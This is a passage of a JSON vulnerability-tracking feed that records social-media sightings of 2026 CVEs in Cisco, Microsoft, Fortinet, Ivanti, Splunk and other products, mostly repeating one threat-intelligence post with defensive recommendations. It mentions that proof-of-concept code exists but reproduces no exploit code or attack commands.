privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-01T17:00:12.679152Z"}, {"uuid": "1b9b8516-fc20-4a27-b0eb-0e42df0bef60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-01T17:00:12.650293Z"}, {"uuid": "b9e3cd8e-a98c-4f9a-9d95-ce27d23d0fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-01T17:00:12.854248Z"}, {"uuid": "052760f4-b314-4581-b3af-86440af35710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-02T01:03:47.423832Z"}, {"uuid": "ee69da21-1996-4df5-9c02-693b3e2f57b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-02T01:03:47.231379Z"}, {"uuid": "659379ba-afa0-41ad-80cd-43e4fa98ff50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://t.me/cissp/7871", "content": "When Network Infrastructure Becomes \nthe Initial Access Vector\n\nOver the past weeks, several critical vulnerabilities and active exploitations have surfaced across major enterprise infrastructure platforms highlighting once again that security perimeters are increasingly defined by mismanaged infrastructure components.\n\nHere are a few developments worth paying attention to:\n\n1. Cisco Catalyst SD-WAN Controllers (CVSS 10.0)\n\nCisco warned of active exploitation of CVE-2026-20127, allowing unauthenticated attackers to bypass authentication and gain administrative access. Researchers linked the activity to the UAT-8616 threat cluster, with indicators suggesting malicious control-plane peers and privilege escalation to root.\n\nImpact:\nCompromise of SD-WAN controllers effectively means control over the enterprise network fabric.\n\n2. Microsoft MSHTML Zero-Day (CVE-2026-21513)\n\nMicrosoft patched a vulnerability in ieframe.dll enabling attackers to bypass Mark of the Web protections and Internet Explorer ESC. A malicious LNK sample linked to APT28 infrastructure demonstrates how legacy components continue to provide viable entry points.\n\nImpact:\nMalicious documents can trigger code execution paths in environments that still rely on MSHTML rendering components.\n\n\n3. Additional Cisco SD-WAN Manager Exploits\n\nCisco confirmed exploitation of two additional flaws:\n\u2022 CVE-2026-20122 \u2013 arbitrary file overwrite using API credentials\n\u2022 CVE-2026-20128 \u2013 post login data exposure and privilege escalation (DCA)\n\nImpact:\nThese flaws demonstrate how API surfaces and management planes remain high-value attack targets.\n\n4. FortiGate as an Initial Breach Vector\n\nA recent SentinelOne investigation shows attackers abusing FortiGate devices to extract configuration files containing Active Directory service account credentials\nOnce obtained, adversaries:\n\u2022 Register rogue machines\n\u2022 Move laterally inside the network\n\u2022 Conduct internal reconnaissance\n\nImpact:\nSecurity appliances themselves are increasingly becoming the first compromised asset in breach chains.\n\nKey Takeaway\nThe pattern across these incidents is clear:\nInfrastructure security \u2260 device hardening alone.\n\nOrganizations need:\n\u2022 Continuous patch governance\ud83e\udd19\ud83c\udffe\n\u2022 Management plane isolation\n\u2022 Credential hygiene in network appliances\n\u2022 Detection capabilities focused on control plane anomalies\n\u2022 SOC playbooks covering network infrastructure compromise\ud83e\udd19\ud83c\udffe\n\nIn many breaches today, the firewall, SD-WAN controller, or edge appliance becomes the attacker\u2019s first domain controller.\n\n\u2014 CISO as a Service \u2014\nStrategic Cyber Defense & GRC\nResilient Through Knowledge\n2026.03.12\n\n#CyberSecurity #ThreatIntelligence #SDWAN #Fortinet #CiscoSecurity #ZeroDay #APT28 #SecurityGovernance #SOC #vCISO\n\nhttps://www.linkedin.com/posts/alirezaghahrood_cybersecurity-threatintelligence-sdwan-share-7437860289229910017-U23V", "creation_timestamp": "2026-09-02T01:03:47.197243Z"}, {"uuid": "32ae50c9-a5f5-40ed-bea4-2e7b30a79609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "https://t.me/p3Nt3st3rsTAr/9", "content": "https://nvd.nist.gov/vuln/detail/CVE-2026-20131", "creation_timestamp": "2026-09-02T01:05:06.077957Z"}, {"uuid": "fa02e70a-5f5e-4e8d-b447-6b9f1cb939d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/48461", "content": "CVE-2026-20217  File Drop to RCE\n*\nfull WriteUP\n\n+ PoC", "creation_timestamp": "2026-09-02T06:00:05.592165Z"}, {"uuid": "d87aff04-371a-4503-b5ea-ee579aaf9f9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/46143", "content": "CVE-2026-20182 Cisco Catalyst SD-WAN \nMetaSploit bypass module\n*\nCVE-2026-0300 PAN-OS 12.1, 11.2, 11.1, 10.2\nRCE PoC\n*\n\n#network", "creation_timestamp": "2026-09-02T06:00:08.401488Z"}, {"uuid": "8844bc9a-f21c-49b7-8431-0fc1f4e322d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/46315", "content": "\ud83d\udcde Microsoft fixed an authenticated RCE in Windows Telephony Service (CVE-2026-20931), discovered by our researcher Sergey Bliznyuk.\n\nRead the write-up: https://swarm.ptsecurity.com/whos-on-the-line-exploiting-rce-in-windows-telephony-service/", "creation_timestamp": "2026-09-02T06:00:08.588790Z"}, {"uuid": "ab24ed8d-23cc-4dc0-94b3-2a2df953bca1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-02T06:00:16.067242Z"}, {"uuid": "ab8e1145-02df-4add-b5b7-65be2ad480d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/43158", "content": "\u26a0\ufe0f Top CVEs in 2026 \u26a0\ufe0f\n\n1\ufe0f\u20e3  CVE-2026-2441:\nGoogle Chrome Blink RCE\n2\ufe0f\u20e3  CVE-2026-27896: \nBypassing Security Controls in MCP Go SDK\n3\ufe0f\u20e3  CVE-2026-20841:\nWindows Notepad RCE\n4\ufe0f\u20e3  CVE-2026-20817:\nWindows Error Reporting ALPC Privilege Escalation\n5\ufe0f\u20e3  CVE-2026-25253:\nClawdbot/Moltbot/OpenClaw One-click RCE", "creation_timestamp": "2026-09-02T06:00:15.957544Z"}, {"uuid": "7c3c636e-c22c-458e-b694-4e442432d57b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/Russian_OSINT/7317", "content": "\ud83d\udc7a\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-10520 \u0432 Ivanti Sentry \u2014 \u2194\ufe0f CVSS 10/10:\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-10520 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Ivanti Sentry \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u0438 \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 API \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 (MICS) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\ud83d\ude18https://hellorecon.com/blog/cve-2026-10520\n\n\ud83d\udc7a \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20253 \u0432 Splunk \u2014 \u2194\ufe0f CVSS 9.8/10:\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Splunk Enterprise \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 9,8 \u0431\u0430\u043b\u043b\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr Labs \u0434\u043e\u0432\u0435\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 RCE \u043f\u0443\u0442\u0451\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 \u0441\u043e \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u043e\u0439 PostgreSQL Sidecar.\n\n\ud83d\ude18 https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-02T06:00:17.671503Z"}, {"uuid": "ec3daa62-a10c-4398-9645-489dba679ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117202419724203546", "content": "New security advisories.\nBroadcom has addressed several vulnerabilities,two of them critical https://support.broadcom.com/web/ecx/security-advisory #Broadcom  \nCisco: Five advisories, two of them addressing critical vulnerabilities:\n- CRITICAL: CVE-2026-20212: Cisco Nexus 9000 Series Switches Silicon One Remote Code Execution Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-n9k-s1-rce-EH8dEtr\n- CRITICAL: CVE-2026-20274, CVE-2026-20275, and CVE-2026-20276: Cisco IOS XR Software Security Hardening Release: September 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM\nMore: https://sec.cloudapps.cisco.com/security/center/publicationListing.x @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-09-02T16:36:40.706909Z"}, {"uuid": "824ee8a8-1c90-4140-a670-8ce413b487e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20274", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117202419724203546", "content": "New security advisories.\nBroadcom has addressed several vulnerabilities,two of them critical https://support.broadcom.com/web/ecx/security-advisory #Broadcom  \nCisco: Five advisories, two of them addressing critical vulnerabilities:\n- CRITICAL: CVE-2026-20212: Cisco Nexus 9000 Series Switches Silicon One Remote Code Execution Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-n9k-s1-rce-EH8dEtr\n- CRITICAL: CVE-2026-20274, CVE-2026-20275, and CVE-2026-20276: Cisco IOS XR Software Security Hardening Release: September 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM\nMore: https://sec.cloudapps.cisco.com/security/center/publicationListing.x @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-09-02T16:36:40.758506Z"}, {"uuid": "0a719034-ebac-4554-b82f-a5439405a19e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20275", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117202419724203546", "content": "New security advisories.\nBroadcom has addressed several vulnerabilities,two of them critical https://support.broadcom.com/web/ecx/security-advisory #Broadcom  \nCisco: Five advisories, two of them addressing critical vulnerabilities:\n- CRITICAL: CVE-2026-20212: Cisco Nexus 9000 Series Switches Silicon One Remote Code Execution Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-n9k-s1-rce-EH8dEtr\n- CRITICAL: CVE-2026-20274, CVE-2026-20275, and CVE-2026-20276: Cisco IOS XR Software Security Hardening Release: September 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM\nMore: https://sec.cloudapps.cisco.com/security/center/publicationListing.x @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-09-02T16:36:40.805227Z"}, {"uuid": "a37f5fbe-84b5-4b00-bd86-8949b51f52c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20276", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117202419724203546", "content": "New security advisories.\nBroadcom has addressed several vulnerabilities,two of them critical https://support.broadcom.com/web/ecx/security-advisory #Broadcom  \nCisco: Five advisories, two of them addressing critical vulnerabilities:\n- CRITICAL: CVE-2026-20212: Cisco Nexus 9000 Series Switches Silicon One Remote Code Execution Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-n9k-s1-rce-EH8dEtr\n- CRITICAL: CVE-2026-20274, CVE-2026-20275, and CVE-2026-20276: Cisco IOS XR Software Security Hardening Release: September 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hardening-iosxr-qg64NcM\nMore: https://sec.cloudapps.cisco.com/security/center/publicationListing.x @TalosSecurity #Cisco #infosec #vulnerability", "creation_timestamp": "2026-09-02T16:36:40.852608Z"}, {"uuid": "46361f6a-8309-4784-947b-1039a2acf29f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "seen", "source": "https://t.me/proxy_bar/3603", "content": "CVE-2026-20217  File Drop to RCE\n*\nfull WriteUP\n\n+ PoC", "creation_timestamp": "2026-09-02T18:00:06.001196Z"}, {"uuid": "7dc605f4-92e1-46f9-8617-2e93c199ff33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20212", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mukjowlcav22", "content": "\ud83d\udea8 CVE-2026-20212 \u2014 CVSS 9.8 CRITICAL\n\nA vulnerability in the Silicon One integration for Cisco Nexus 9000 Series Switches could allow an unauthen...\n\n\ud83d\udd0e 